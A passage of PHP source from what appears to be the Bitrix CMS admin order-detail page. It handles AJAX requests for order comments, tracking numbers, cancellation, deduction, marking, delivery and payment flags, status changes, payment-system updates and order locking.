$arResult["ITEMS"] = fGetFormatedProductData($userId, $LID, $arCartWithoutSetItems, 1, $currency, $type, $crmMode);
else
$arResult["ITEMS"] = GetMessage('SOD_SUBTAB_BASKET_NULL');
}
if ($type == 'recom')
{
if (!is_array($arOrderProduct))
$arOrderProduct = explode(",", $arOrderProduct);
$arRecommendedResult = CSaleProduct::GetRecommendetProduct($userId, $LID, $arOrderProduct, "Y");
$arResult["ITEMS"] = fGetFormatedProductData($userId, $LID, $arRecommendedResult, 1, $currency, $type, $crmMode);
}
if ($type == 'viewed' && CModule::includeModule("catalog"))
{
$viewedIterator = \Bitrix\Catalog\CatalogViewedProductTable::getList(array(
'order' => array("DATE_VISIT" => "DESC"),
'filter' => array('FUSER_ID' => $fUserId, "SITE_ID" => $LID),
'select' => array("ID", "FUSER_ID", "DATE_VISIT", "PRODUCT_ID", "LID" => "SITE_ID", "NAME" => "ELEMENT.NAME", "PREVIEW_PICTURE" => "ELEMENT.PREVIEW_PICTURE", "DETAIL_PICTURE" => "ELEMENT.DETAIL_PICTURE" ),
'limit' => 10
));
$arViewed = array();
$arViewedIds = array();
$viewedCount = 0;
$mapViewed = array();
while($viewed = $viewedIterator->fetch())
{
$viewed['MODULE'] = 'catalog';
$arViewed[$viewedCount] = $viewed;
$arViewedIds[] = $viewed['PRODUCT_ID'];
$mapViewed[$viewed['PRODUCT_ID']] = $viewedCount;
$viewedCount++;
}
unset($viewedCount);
if (!empty($arViewedIds))
{
$baseGroup = CCatalogGroup::getBaseGroup();
$priceIterator = CPrice::GetList(
array(),
array("PRODUCT_ID" => $arViewedIds, 'CATALOG_GROUP_ID' => $baseGroup['ID']),
false,
false,
array("PRODUCT_ID", "PRICE", "CURRENCY")
);
while($productPrice = $priceIterator->fetch() )
{
if (isset($mapViewed[$productPrice['PRODUCT_ID']]))
{
$key = $mapViewed[$productPrice['PRODUCT_ID']];
$arViewed[$key]["PRICE"] = $productPrice["PRICE"];
$arViewed[$key]["CURRENCY"] = $productPrice["CURRENCY"];
}
}
}
$arResult["ITEMS"] = fGetFormatedProductData($userId, $LID, $arViewed, 1, $currency, $type, $crmMode);
}
$arResult["TYPE"] = $type;
$result = CUtil::PhpToJSObject($arResult);
CRMModeOutput($result);
exit;
}
/*
* save comment
*/
if (array_key_exists('comment', $_REQUEST) && strlen($_REQUEST['comment']) > 0)
{
$ID = IntVal($ID);
$comment = trim($comment);
$bUserCanEditOrder = CSaleOrder::CanUserUpdateOrder($ID, $arUserGroups);
if (isset($change) && $change == "Y" && $bUserCanEditOrder && !CSaleOrder::IsLocked($ID, $lockedBY, $dateLock))
{
CUtil::DecodeUriComponent($comment);
CSaleOrder::CommentsOrder($ID, $comment);
}
$arResult = array('message' => 'ok');
$result = CUtil::PhpToJSObject($arResult);
CRMModeOutput($result);
exit;
}
/*
* save tracking number
*/
if (isset($_REQUEST["tracking_number"]) && strlen($_REQUEST["tracking_number"]) >= 0)
{
$ID = IntVal($ID);
$tracking_number = trim($tracking_number);
$bUserCanEditOrder = CSaleOrder::CanUserUpdateOrder($ID, $arUserGroups);
if (isset($change) && $change == "Y" && $bUserCanEditOrder && !CSaleOrder::IsLocked($ID, $lockedBY, $dateLock))
{
CUtil::DecodeUriComponent($tracking_number);
CSaleOrder::Update($ID, array("TRACKING_NUMBER" => $tracking_number));
}
$arResult = array('message' => 'ok');
$result = CUtil::PhpToJSObject($arResult);
CRMModeOutput($result);
exit;
}
/*
* reason cancel
*/
if (isset($_REQUEST["change_cancel"]) && $_REQUEST["change_cancel"] == "Y")
{
$errorMessageTmp = "";
$errorMessageReserve = "";
$arResult = array();
if (!$bUserCanCancelOrder)
$errorMessageTmp .= GetMessage("SOD_NO_PERMS2CANCEL").". ";
if (strlen($errorMessageTmp) <= 0)
{
$CANCELED = trim($_REQUEST["CANCELED"]);
$REASON_CANCELED = trim($_REQUEST["REASON_CANCELED"]);
if ($CANCELED != "Y")
$CANCELED = "N";
if ($CANCELED != "Y" && $CANCELED != "N")
$errorMessageTmp .= GetMessage("SOD_WRONG_CANCEL_FLAG").". ";
}
if (strlen($errorMessageTmp) <= 0 && !CSaleOrder::IsLocked($ID, $lockedBY, $dateLock))
{
if (!CSaleOrder::CancelOrder($ID, $CANCELED, $REASON_CANCELED))
{
if ($ex = $APPLICATION->GetException())
{
if ($ex->GetID() == "RESERVATION_ERROR")
{
$errorMessageReserve = $ex->GetString();
}
else if ($ex->GetID() != "ALREADY_FLAG")
{
$errorMessageTmp .= $ex->GetString();
}
}
else
$errorMessageTmp .= GetMessage("ERROR_CANCEL_ORDER").". ";
}
}
$arResult["message"] = "ok";
if (strlen($errorMessageTmp) > 0)
$arResult["message"] = $errorMessageTmp;
elseif (!CSaleOrder::IsLocked($ID, $lockedBY, $dateLock))
{
$dbOrder = CSaleOrder::GetList(
array("ID" => "DESC"),
array("ID" => $ID),
false,
false,
array("DATE_CANCELED", "EMP_CANCELED_ID")
);
if ($arOrder = $dbOrder->Fetch())
{
$arResult["DATE_CANCELED"] = $arOrder["DATE_CANCELED"];
if (!$crmMode && IntVal($arOrder["EMP_CANCELED_ID"]) > 0)
$arResult["EMP_CANCELED_ID"] = GetFormatedUserName($arOrder["EMP_CANCELED_ID"]);
}
}
if (strlen($errorMessageReserve) > 0)
{
$arResult["reserve_message"] = $errorMessageReserve;
$arResult["reserve_date"] = $arResult["DATE_CANCELED"];
}
else
{
$arResult["reserve_message"] = "ok";
}
$result = CUtil::PhpToJSObject($arResult);
CRMModeOutput($result);
exit;
}
/*
* reason undo deducted
*/
if (isset($_REQUEST["change_deduct"]) && $_REQUEST["change_deduct"] == "Y")
{
$errorMessageTmp = "";
$errorMessageReserve = "";
$arResult = array();
if (!$bUserCanDeductOrder)
$errorMessageTmp .= GetMessage("SOD_NO_PERMS2UNDO_DEDUCT").". ";
if (strlen($errorMessageTmp) <= 0)
{
$UNDO_DEDUCT = (trim($_REQUEST["UNDO_DEDUCT"]) == "Y") ? "N" : "Y"; //reversed logic here
$REASON_UNDO_DEDUCTED = trim($_REQUEST["REASON_UNDO_DEDUCTED"]);
if ($UNDO_DEDUCT != "Y")
$UNDO_DEDUCT = "N";
if ($UNDO_DEDUCT != "Y" && $UNDO_DEDUCT != "N")
$errorMessageTmp .= GetMessage("SOD_WRONG_DEDUCT_FLAG").". ";
}
if (strlen($errorMessageTmp) <= 0 && !CSaleOrder::IsLocked($ID, $lockedBY, $dateLock))
{
if (!CSaleOrder::DeductOrder($ID, $UNDO_DEDUCT, $REASON_UNDO_DEDUCTED, false))
{
if ($ex = $APPLICATION->GetException())
{
if ($ex->GetID() == "RESERVATION_ERROR")
{
$errorMessageReserve = $ex->GetString();
}
else if ($ex->GetID() != "ALREADY_FLAG")
{
$errorMessageTmp .= $ex->GetString();
}
}
else
$errorMessageTmp .= GetMessage("ERROR_UNDO_DEDUCT_ORDER").". ";
}
}
$arResult["message"] = "ok";
if (strlen($errorMessageTmp) > 0)
$arResult["message"] = $errorMessageTmp;
elseif (!CSaleOrder::IsLocked($ID, $lockedBY, $dateLock))
{
$dbOrder = CSaleOrder::GetList(
array("ID" => "DESC"),
array("ID" => $ID),
false,
false,
array("DATE_DEDUCTED", "EMP_DEDUCTED_ID", "REASON_UNDO_DEDUCTED")
);
if ($arOrder = $dbOrder->Fetch())
{
$arResult["DATE_DEDUCTED"] = CUtil::JSEscape($arOrder["DATE_DEDUCTED"]);
$arResult["REASON_UNDO_DEDUCTED"] = CUtil::JSEscape($arOrder["REASON_UNDO_DEDUCTED"]);
if (!$crmMode && IntVal($arOrder["EMP_DEDUCTED_ID"]) > 0)
$arResult["EMP_DEDUCTED_ID"] = CUtil::JSEscape(GetFormatedUserName($arOrder["EMP_DEDUCTED_ID"]));
}
}
if (strlen($errorMessageReserve) > 0)
{
$arResult["reserve_message"] = $errorMessageReserve;
$arResult["reserve_date"] = $arResult["DATE_DEDUCTED"];
}
else
{
$arResult["reserve_message"] = "ok";
}
$result = CUtil::PhpToJSObject($arResult);
CRMModeOutput($result);
exit;
}
/*
* reason marked
*/
if (isset($_REQUEST["change_marked"]) && $_REQUEST["change_marked"] == "Y")
{
$errorMessageTmp = "";
$arResult = array();
if (!$bUserCanMarkOrder)
$errorMessageTmp .= GetMessage("SOD_NO_PERMS2MARK").". ";
if (strlen($errorMessageTmp) <= 0)
{
$MARKED = trim($_REQUEST["MARKED"]);
$REASON_MARKED = trim($_REQUEST["REASON_MARKED"]);
if ($MARKED != "Y")
$MARKED = "N";
if ($MARKED != "Y" && $MARKED != "N")
$errorMessageTmp .= GetMessage("SOD_WRONG_MARK_FLAG").". ";
}
if (strlen($errorMessageTmp) <= 0 && !CSaleOrder::IsLocked($ID, $lockedBY, $dateLock))
{
if ($MARKED == "Y")
$rs = CSaleOrder::SetMark($ID, $REASON_MARKED, (0 < $intUserID ? $intUserID : 0));
else
$rs = CSaleOrder::UnsetMark($ID, (0 < $intUserID ? $intUserID : 0));
if (!$rs)
{
if ($ex = $APPLICATION->GetException())
{
if ($ex->GetID() != "ALREADY_FLAG")
$errorMessageTmp .= $ex->GetString();
}
else
$errorMessageTmp .= GetMessage("ERROR_MARK_ORDER").". ";
}
}
$arResult["message"] = "ok";
if (strlen($errorMessageTmp) > 0)
$arResult["message"] = $errorMessageTmp;
elseif (!CSaleOrder::IsLocked($ID, $lockedBY, $dateLock))
{
$dbOrder = CSaleOrder::GetList(
array("ID" => "DESC"),
array("ID" => $ID),
false,
false,
array("DATE_MARKED", "EMP_MARKED_ID")
);
if ($arOrder = $dbOrder->Fetch())
{
$arResult["DATE_MARKED"] = CUtil::JSEscape($arOrder["DATE_MARKED"]);
if (!$crmMode && IntVal($arOrder["EMP_MARKED_ID"]) > 0)
$arResult["EMP_MARKED_ID"] = CUtil::JSEscape(GetFormatedUserName($arOrder["EMP_CANCELED_ID"]));
}
}
$result = CUtil::PhpToJSObject($arResult);
CRMModeOutput($result);
exit;
}
/*
* delivery
*/
if (isset($_REQUEST["change_delivery_form"]) && $_REQUEST["change_delivery_form"] == "Y")
{
$errorMessageTmp = "";
$errorMessageReserve = "";
if (!$bUserCanDeliverOrder)
$errorMessageTmp .= GetMessage("SOD_NO_PERMS2DELIV").". ";
if (strlen($errorMessageTmp) <= 0)
{
$ALLOW_DELIVERY = trim($_REQUEST["ALLOW_DELIVERY"]);
if ($ALLOW_DELIVERY != "Y")
$ALLOW_DELIVERY = "N";
if ($ALLOW_DELIVERY != "Y" && $ALLOW_DELIVERY != "N")
$errorMessageTmp .= GetMessage("SOD_WRONG_DELIV_FLAG").". ";
}
if (strlen($errorMessageTmp) <= 0 && !CSaleOrder::IsLocked($ID, $lockedBY, $dateLock))
{
$arAdditionalFields = array(
"DELIVERY_DOC_NUM" => ((strlen($_REQUEST["DELIVERY_DOC_NUM"]) > 0) ? $_REQUEST["DELIVERY_DOC_NUM"] : False),
"DELIVERY_DOC_DATE" => ((strlen($_REQUEST["DELIVERY_DOC_DATE"]) > 0) ? $_REQUEST["DELIVERY_DOC_DATE"] : False)
);
if ($change_status_popup == "Y")
$arAdditionalFields["NOT_CHANGE_STATUS"] = "Y";
if (!CSaleOrder::DeliverOrder($ID, $ALLOW_DELIVERY, 0, $arAdditionalFields))
{
if ($ex = $APPLICATION->GetException())
{
if ($ex->GetID() == "RESERVATION_ERROR")
{
$errorMessageReserve = $ex->GetString();
}
else if ($ex->GetID() != "ALREADY_FLAG")
{
$errorMessageTmp .= $ex->GetString();
}
}
else
$errorMessageTmp .= GetMessage("ERROR_DELIVERY_ORDER").". ";
}
unset($arAdditionalFields["NOT_CHANGE_STATUS"]);
//update for change data
$res = CSaleOrder::Update($ID, $arAdditionalFields);
}
$arResult["message"] = "ok";
$arResult["ALLOW_DELIVERY"] = $ALLOW_DELIVERY;
if (strlen($errorMessageTmp) > 0)
$arResult["message"] = $errorMessageTmp;
elseif (!CSaleOrder::IsLocked($ID, $lockedBY, $dateLock))
{
$arResult["STATUS_ID"] = "";
$arResult["EMP_STATUS_ID"] = "";
$arResult["DATE_STATUS"] = "";
$arResult["DATE_ALLOW_DELIVERY"] = "";
$dbOrder = CSaleOrder::GetList(
array("ID" => "DESC"),
array("ID" => $ID),
false,
false,
array("DATE_ALLOW_DELIVERY", "EMP_ALLOW_DELIVERY_ID", "STATUS_ID", "DATE_STATUS", "EMP_STATUS_ID")
);
if ($arOrder = $dbOrder->Fetch())
{
$arResult["DATE_ALLOW_DELIVERY"] = $arOrder["DATE_ALLOW_DELIVERY"];
if (!$crmMode && IntVal($arOrder["EMP_ALLOW_DELIVERY_ID"]) > 0)
$arResult["EMP_ALLOW_DELIVERY_ID"] = GetFormatedUserName($arOrder["EMP_ALLOW_DELIVERY_ID"], false);
$arResult["DATE_STATUS"] = $arOrder["DATE_STATUS"];
if (!$crmMode && IntVal($arOrder["EMP_STATUS_ID"]) > 0)
$arResult["EMP_STATUS_ID"] = GetFormatedUserName($arOrder["EMP_STATUS_ID"], false);
$arResult["STATUS_ID"] = $arOrder["STATUS_ID"];
}
$arResult["DELIVERY_DOC_NUMBER_FORMAT"] = "";
if(strlen($_REQUEST["DELIVERY_DOC_NUM"]) > 0 || strlen($_REQUEST["DELIVERY_DOC_DATE"]) > 0)
$arResult["DELIVERY_DOC_NUMBER_FORMAT"] = GetMessage("SOD_DELIV_DOC", Array("#NUM#" => htmlspecialcharsEx($_REQUEST["DELIVERY_DOC_NUM"]), "#DATE#" => htmlspecialcharsEx($_REQUEST["DELIVERY_DOC_DATE"])));
}
if (isset($_REQUEST["change_status"]) && $_REQUEST["change_status"] == "Y")
{
$arResultTmp = fChangeOrderStatus($ID, $_REQUEST["STATUS_ID"]);
$arResult = array_merge($arResult, $arResultTmp);
}
if (strlen($errorMessageReserve) > 0)
{
$arResult["reserve_message"] = $errorMessageReserve;
$arResult["reserve_date"] = $arResult["DATE_ALLOW_DELIVERY"];
}
else
{
$arResult["reserve_message"] = "ok";
}
$result = CUtil::PhpToJSObject($arResult);
CRMModeOutput($result);
exit;
}
/*
* Execute delivery action
*/
if (isset($_REQUEST["DELIVERY_ACTION"]) && strlen($_REQUEST["DELIVERY_ACTION"]) > 0)
{
$arResult = CSaleDeliveryHelper::execHandlerAction($ID, $_REQUEST["DELIVERY_ACTION"]);
$result = CUtil::PhpToJSObject($arResult);
CRMModeOutput($result);
exit;
}
/*
* paysystem
*/
if (isset($_REQUEST["change_pay_form"]) && $_REQUEST["change_pay_form"] == "Y")
{
$errorMessageTmp = "";
$errorMessageReserve = "";
if (!$bUserCanPayOrder)
$errorMessageTmp .= GetMessage("SOD_NO_PERMS2PAYFLAG").". ";
if (strlen($errorMessageTmp) <= 0)
{
$PAYED = trim($_REQUEST["PAYED"]);
if ($PAYED != "Y")
$PAYED = "N";
if ($PAYED != "Y" && $PAYED != "N")
$errorMessageTmp .= GetMessage("SOD_WRONG_PAYFLAG").". ";
}
if (strlen($errorMessageTmp) <= 0 && !CSaleOrder::IsLocked($ID, $lockedBY, $dateLock))
{
$arAdditionalFields = array(
"PAY_VOUCHER_NUM" => ((strlen($_REQUEST["PAY_VOUCHER_NUM"]) > 0) ? $_REQUEST["PAY_VOUCHER_NUM"] : False),
"PAY_VOUCHER_DATE" => ((strlen($_REQUEST["PAY_VOUCHER_DATE"]) > 0) ? $_REQUEST["PAY_VOUCHER_DATE"] : False)
);
$bWithdraw = true;
$bPay = true;
if ($_REQUEST["PAY_FROM_ACCOUNT"] == "Y")
$bPay = false;
if ($PAYED == "N" && $_REQUEST["PAY_FROM_ACCOUNT_BACK"] != "Y")
$bWithdraw = false;
if ($change_status_popup == "Y")
$arAdditionalFields["NOT_CHANGE_STATUS"] = "Y";
if (!CSaleOrder::PayOrder($ID, $PAYED, $bWithdraw, $bPay, 0, $arAdditionalFields))
{
if ($ex = $APPLICATION->GetException())
{
if ($ex->GetID() == "RESERVATION_ERROR")
{
$errorMessageReserve = $ex->GetString();
}
else if ($ex->GetID() != "ALREADY_FLAG")
$errorMessageTmp .= $ex->GetString();
}
else
$errorMessageTmp .= GetMessage("ERROR_PAY_ORDER").". ";
}
unset($arAdditionalFields["NOT_CHANGE_STATUS"]);
//update for change data
$res = CSaleOrder::Update($ID, $arAdditionalFields);
}
$arResult["message"] = "ok";
$arResult["PAYED"] = $PAYED;
$arResult["BUDGET_ENABLE"] = 'N';
if (strlen($errorMessageTmp) > 0)
$arResult["message"] = $errorMessageTmp;
elseif (!CSaleOrder::IsLocked($ID, $lockedBY, $dateLock))
{
$dbOrder = CSaleOrder::GetList(
array("ID" => "DESC"),
array("ID" => $ID),
false,
false,
array("DATE_PAYED", "EMP_PAYED_ID", "STATUS_ID", "DATE_STATUS", "EMP_STATUS_ID", "PRICE", "USER_ID", "CURRENCY")
);
if ($arOrder = $dbOrder->Fetch())
{
$arResult["EMP_STATUS_ID"] = "";
$arResult["DATE_PAYED"] = trim($arOrder["DATE_PAYED"]);
if (!$crmMode && IntVal($arOrder["EMP_PAYED_ID"]) > 0)
$arResult["EMP_PAYED_ID"] = GetFormatedUserName($arOrder["EMP_PAYED_ID"], false);
$arResult["DATE_STATUS"] = $arOrder["DATE_STATUS"];
if (!$crmMode && IntVal($arOrder["EMP_STATUS_ID"]) > 0)
$arResult["EMP_STATUS_ID"] = GetFormatedUserName($arOrder["EMP_STATUS_ID"], false);
$arResult["STATUS_ID"] = $arOrder["STATUS_ID"];
//user budget
$dbUserAccount = CSaleUserAccount::GetList(
array(),
array(
"USER_ID" => $arOrder["USER_ID"],
"CURRENCY" => $arOrder["CURRENCY"],
)
);
$arUserAccount = $dbUserAccount->GetNext();
if (floatval($arUserAccount["CURRENT_BUDGET"]) >= floatval($arOrder["PRICE"]))
{
$arResult["BUDGET_ENABLE"] = 'Y';
$arResult["BUDGET_USER"] = SaleFormatCurrency(floatval($arUserAccount["CURRENT_BUDGET"]), $arOrder["CURRENCY"]);
}
}
if (strlen(trim($_REQUEST["PAY_VOUCHER_NUM"])) > 0)
$arResult["PAY_DOC_NUMBER_FORMAT"] = str_replace("#DATE#", $_REQUEST["PAY_VOUCHER_DATE"], str_replace("#NUM#", htmlspecialcharsEx($_REQUEST["PAY_VOUCHER_NUM"]), GetMessage("SOD_PAY_DOC")));
}
if (isset($_REQUEST["change_status"]) && $_REQUEST["change_status"] == "Y")
{
$arResultTmp = fChangeOrderStatus($ID, $_REQUEST["STATUS_ID"]);
$arResult = array_merge($arResult, $arResultTmp);
}
if (strlen($errorMessageReserve) > 0)
{
$arResult["reserve_message"] = $errorMessageReserve;
$arResult["reserve_date"] = $arResult["DATE_PAYED"];
}
else
{
$arResult["reserve_message"] = "ok";
}
$result = CUtil::PhpToJSObject($arResult);
CRMModeOutput($result);
exit;
}
/*
* change status
*/
if (isset($_REQUEST["change_status"]) && $_REQUEST["change_status"] == "Y")
{
$arResult = array();
if (!CSaleOrder::IsLocked($ID, $lockedBY, $dateLock))
$arResult = fChangeOrderStatus($ID, $_REQUEST["STATUS_ID"]);
$result = CUtil::PhpToJSObject($arResult);
CRMModeOutput($result);
exit;
}
}
/****************/
if ($saleModulePermissions >= "W" && array_key_exists('unlock', $_REQUEST) && 'Y' == $_REQUEST['unlock'])
{
CSaleOrder::UnLock($ID);
if ($crmMode)
CRMModeOutput($ID);
LocalRedirect("sale_order_detail.php?ID=".$ID."&lang=".LANGUAGE_ID.GetFilterParams("filter_", false));
}
elseif ($saleModulePermissions >= "U" && check_bitrix_sessid() && !array_key_exists('dontsave', $_REQUEST))
{
if(!$customTabber->Check())
{
if($ex = $APPLICATION->GetException())
$errorMessage .= $ex->GetString();
else
$errorMessage .= "Error. ";
}
elseif ($_SERVER['REQUEST_METHOD'] == "POST" && $save_order_data == "Y")
{
if (CSaleOrder::IsLocked($ID, $lockedBY, $dateLock))
{
$errorMessage .= str_replace(array("#DATE#", "#ID#"), array($dateLock, $lockedBY), GetMessage("SOE_ORDER_LOCKED")).". ";
}
else
{
if (strlen($errorMessage) <= 0)
{
if ($crmMode)
CRMModeOutput($ID);
LocalRedirect("sale_order_detail.php?ID=".$ID."&save_order_result=ok&lang=".LANGUAGE_ID.GetFilterParams("filter_", false));
}
}
}
elseif (isset($_REQUEST["action"]) && $_REQUEST["action"] == "ps_update")
{
$errorMessageTmp = "";
$arOrder = CSaleOrder::GetByID($ID);
if (!$arOrder)
$errorMessageTmp .= GetMessage("ERROR_NO_ORDER")."<br>";
if (strlen($errorMessageTmp) <= 0)
{
$psResultFile = "";
$arPaySys = CSalePaySystem::GetByID($arOrder["PAY_SYSTEM_ID"], $arOrder["PERSON_TYPE_ID"]);
$psActionPath = $_SERVER["DOCUMENT_ROOT"].$arPaySys["PSA_ACTION_FILE"];
$psActionPath = str_replace("\\", "/", $psActionPath);
while (substr($psActionPath, strlen($psActionPath) - 1, 1) == "/")
$psActionPath = substr($psActionPath, 0, strlen($psActionPath) - 1);
if (file_exists($psActionPath) && is_dir($psActionPath))
{
if (file_exists($psActionPath."/result.php") && is_file($psActionPath."/result.php"))
$psResultFile = $psActionPath."/result.php";
}
elseif (strlen($arPaySys["PSA_RESULT_FILE"]) > 0)
{
if (file_exists($_SERVER["DOCUMENT_ROOT"].$arPaySys["PSA_RESULT_FILE"])
&& is_file($_SERVER["DOCUMENT_ROOT"].$arPaySys["PSA_RESULT_FILE"]))
$psResultFile = $_SERVER["DOCUMENT_ROOT"].$arPaySys["PSA_RESULT_FILE"];
}
if (strlen($psResultFile) <= 0)
$errorMessageTmp .= GetMessage("SOD_NO_PS_SCRIPT").". ";
}
if (strlen($errorMessageTmp) <= 0)
{
$ORDER_ID = $ID;
CSalePaySystemAction::InitParamArrays($arOrder, $ID, $arPaySys["PSA_PARAMS"]);
try
{
if (!include($psResultFile))
$errorMessageTmp .= GetMessage("ERROR_CONNECT_PAY_SYS").". ";
}
catch(\Bitrix\Main\SystemException $e)
{
if($e->getCode() == CSalePaySystemAction::GET_PARAM_VALUE)
$errorMessageTmp .= GetMessage("SOA_ERROR_PS")." ";
else
$errorMessageTmp .= $e->getMessage()." ";
}
}
if (strlen($errorMessageTmp) <= 0)
{
$ORDER_ID = IntVal($ORDER_ID);
$arOrder = CSaleOrder::GetByID($ORDER_ID);
if (!$arOrder)
$errorMessageTmp .= str_replace("#ID#", $ORDER_ID, GetMessage("SOD_NO_ORDER")).". ";
}
if (strlen($errorMessageTmp) <= 0)
{
if ($arOrder["PS_STATUS"] == "Y" && $arOrder["PAYED"] == "N")
{
if ($arOrder["CURRENCY"] == $arOrder["PS_CURRENCY"]
&& doubleval($arOrder["PRICE"]) == doubleval($arOrder["PS_SUM"]))
{
if (!CSaleOrder::PayOrder($arOrder["ID"], "Y", True, True))
{
if ($ex = $APPLICATION->GetException())
$errorMessageTmp .= $ex->GetString();
else
$errorMessageTmp .= str_replace("#ID#", $ORDER_ID, GetMessage("SOD_CANT_PAY")).". ";
}
}
}
}
if ($errorMessageTmp != "")
$errorMessage .= $errorMessageTmp;
if (strlen($errorMessage) <= 0)
{
if ($crmMode)
CRMModeOutput($ID);
if (strlen($apply) > 0 || $_REQUEST["action"] == "ps_update")
LocalRedirect("sale_order_detail.php?ID=".$ID."&save_order_result=ok_ps&lang=".LANGUAGE_ID.GetFilterParams("filter_", false));
CSaleOrder::UnLock($ID);
LocalRedirect("sale_order.php?lang=".LANGUAGE_ID.GetFilterParams("filter_", false));
}
}
elseif (isset($_REQUEST["download"]) && $_REQUEST["download"] == "Y")
{
if (isset($_REQUEST["file_id"]) && intval($_REQUEST["file_id"]) > 0)
{
$arFile = CFile::GetFileArray(intval($_REQUEST["file_id"]));
set_time_limit(0);
CFile::ViewByUser($arFile, array("force_download" => true));
}
}
}
elseif (array_key_exists('dontsave', $_REQUEST) && 'Y' == $_REQUEST['dontsave'])
{
$intLockUserID = 0;
$strLockTime = '';
if (!CSaleOrder::IsLocked($ID, $intLockUserID, $strLockTime))
CSaleOrder::UnLock($ID);
if ($crmMode)
CRMModeOutput($ID);
LocalRedirect("sale_order.php?lang=".LANGUAGE_ID.GetFilterParams("filter_", false));
}
/****************/
$boolLocked = false;
$intLockUserID = 0;
$strLockUser = '';
$strLockUserExt = '';
$strLockUserInfo = '';
$strLockUserInfoExt = '';
$strLockTime = '';
$strNameFormat = CSite::GetNameFormat(true);
$dbOrder = CSaleOrder::GetList(
array("ID" => "DESC"),
array("ID" => $ID),
false,
false,
array(
"ID", "LID", "PERSON_TYPE_ID",
"PAYED", "DATE_PAYED", "EMP_PAYED_ID", "PAY_VOUCHER_NUM", "PAY_VOUCHER_DATE",
"CANCELED", "DATE_CANCELED", "EMP_CANCELED_ID", "REASON_CANCELED",
"STATUS_ID", "DATE_STATUS", "EMP_STATUS_ID", "PRICE_DELIVERY",
"ALLOW_DELIVERY", "DATE_ALLOW_DELIVERY", "EMP_ALLOW_DELIVERY_ID",
"DEDUCTED", "DATE_DEDUCTED", "EMP_DEDUCTED_ID", "REASON_UNDO_DEDUCTED",
"MARKED", "DATE_MARKED", "EMP_MARKED_ID", "REASON_MARKED",
"PRICE", "CURRENCY", "DISCOUNT_VALUE", "SUM_PAID", "USER_ID", "PAY_SYSTEM_ID",
"DELIVERY_ID", "DATE_INSERT", "DATE_INSERT_FORMAT", "DATE_UPDATE", "USER_DESCRIPTION",
"ADDITIONAL_INFO", "PS_STATUS", "PS_STATUS_CODE", "PS_STATUS_DESCRIPTION",
"PS_STATUS_MESSAGE", "PS_SUM", "PS_CURRENCY", "PS_RESPONSE_DATE", "COMMENTS",
"TAX_VALUE", "STAT_GID", "RECURRING_ID", "AFFILIATE_ID", "LOCK_STATUS",
"USER_LOGIN", "USER_NAME", "USER_LAST_NAME", "USER_EMAIL", "DELIVERY_DOC_NUM",
"DELIVERY_DOC_DATE", "STORE_ID", "ACCOUNT_NUMBER", "TRACKING_NUMBER",
)
);
if (!($arOrder = $dbOrder->Fetch()))
LocalRedirect("sale_order.php?lang=".LANGUAGE_ID.GetFilterParams("filter_", false));
$boolLocked = CSaleOrder::IsLocked($ID, $intLockUserID, $strLockTime);
if ($boolLocked)
{
$strLockUser = $intLockUserID;
$strLockUserInfo = $intLockUserID;
$rsUsers = CUser::GetList(($by2 = 'ID'),($order2 = 'ASC'), array('ID' => $intLockUserID), array('FIELDS' => array('ID', 'LOGIN', 'NAME', 'LAST_NAME')));
if ($arOneUser = $rsUsers->Fetch())
{
$strLockUser = CUser::FormatName($strNameFormat, $arOneUser);
$strLockUserInfo = '<a href="/bitrix/admin/user_edit.php?lang='.LANGUAGE_ID.'&ID='.$intLockUserID.'">'.$strLockUser.'</a>';
}
$strLockUserExt = htmlspecialcharsbx(GetMessage(
'SOE_ORDER_LOCKED2',
array(
'#ID#' => $strLockUser,
'#DATE#' => $strLockTime,
)
));
$strLockUserInfoExt = GetMessage(
'SOE_ORDER_LOCKED2',
array(
'#ID#' => $strLockUserInfo,
'#DATE#' => $strLockTime,
)
);
}
$WEIGHT_UNIT = htmlspecialcharsbx(COption::GetOptionString('sale', 'weight_unit', "", $arOrder["LID"]));
$WEIGHT_KOEF = htmlspecialcharsbx(COption::GetOptionString('sale', 'weight_koef', 1, $arOrder["LID"]));
$APPLICATION->SetTitle(GetMessage("SALE_EDIT_RECORD", array("#ID#"=>$ID)));
//get history order list
$arFieldsAll = array(
"PERSON_TYPE_ID" => GetMessage('SOD_HIST_PERSON_TYPE_ID'),
"PAYED" => GetMessage('SOD_HIST_PAYED'),
"DATE_PAYED" => GetMessage('SOD_HIST_DATE_PAYED'),
"EMP_PAYED_ID" => GetMessage('SOD_HIST_EMP_PAYED_ID'),
"CANCELED" => GetMessage('SOD_HIST_CANCELED'),
"DATE_CANCELED" => GetMessage('SOD_HIST_DATE_CANCELED'),
"EMP_CANCELED_ID" => GetMessage('SOD_HIST_EMP_CANCELED_ID'),
"REASON_CANCELED" => GetMessage('SOD_HIST_REASON_CANCELED'),
"DEDUCTED" => GetMessage('SOD_HIST_DEDUCTED'),
"DATE_DEDUCTED" => GetMessage('SOD_HIST_DATE_DEDUCTED'),
"EMP_DEDUCTED_ID" => GetMessage('SOD_HIST_EMP_DEDUCTED_ID'),
"REASON_UNDO_DEDUCTED" => GetMessage('SOD_HIST_REASON_UNDO_DEDUCTED'),
"MARKED" => GetMessage('SOD_HIST_MARKED'),
"DATE_MARKED" => GetMessage('SOD_HIST_DATE_MARKED'),
"EMP_CANCELED_ID" => GetMessage('SOD_HIST_EMP_MARKED_ID'),
"REASON_MARKED" => GetMessage('SOD_HIST_REASON_MARKED'),
"RESERVED" => GetMessage('SOD_HIST_RESERVED'),
"STATUS_ID" => GetMessage('SOD_HIST_STATUS_ID'),
"DATE_STATUS" => GetMessage('SOD_HIST_DATE_STATUS'),
"EMP_STATUS_ID" => GetMessage('SOD_HIST_EMP_STATUS_ID'),
"PRICE_DELIVERY" => GetMessage('SOD_HIST_PRICE_DELIVERY'),
"ALLOW_DELIVERY" => GetMessage('SOD_HIST_ALLOW_DELIVERY'),
"DATE_ALLOW_DELIVERY" => GetMessage('SOD_HIST_DATE_ALLOW_DELIVERY'),
"EMP_ALLOW_DELIVERY_ID" => GetMessage('SOD_HIST_EMP_ALLOW_DELIVERY_ID'),
"PRICE" => GetMessage('SOD_HIST_PRICE'),
"CURRENCY" => GetMessage('SOD_HIST_CURRENCY'),
"DISCOUNT_VALUE" => GetMessage('SOD_HIST_DISCOUNT_VALUE'),
"USER_ID" => GetMessage('SOD_HIST_USER_ID'),
"PAY_SYSTEM_ID" => GetMessage('SOD_HIST_PAY_SYSTEM_ID'),
"DELIVERY_ID" => GetMessage('SOD_HIST_DELIVERY_ID'),
"PS_STATUS" => GetMessage('SOD_HIST_PS_STATUS'),
"PS_STATUS_CODE" => GetMessage('SOD_HIST_PS_STATUS_CODE'),
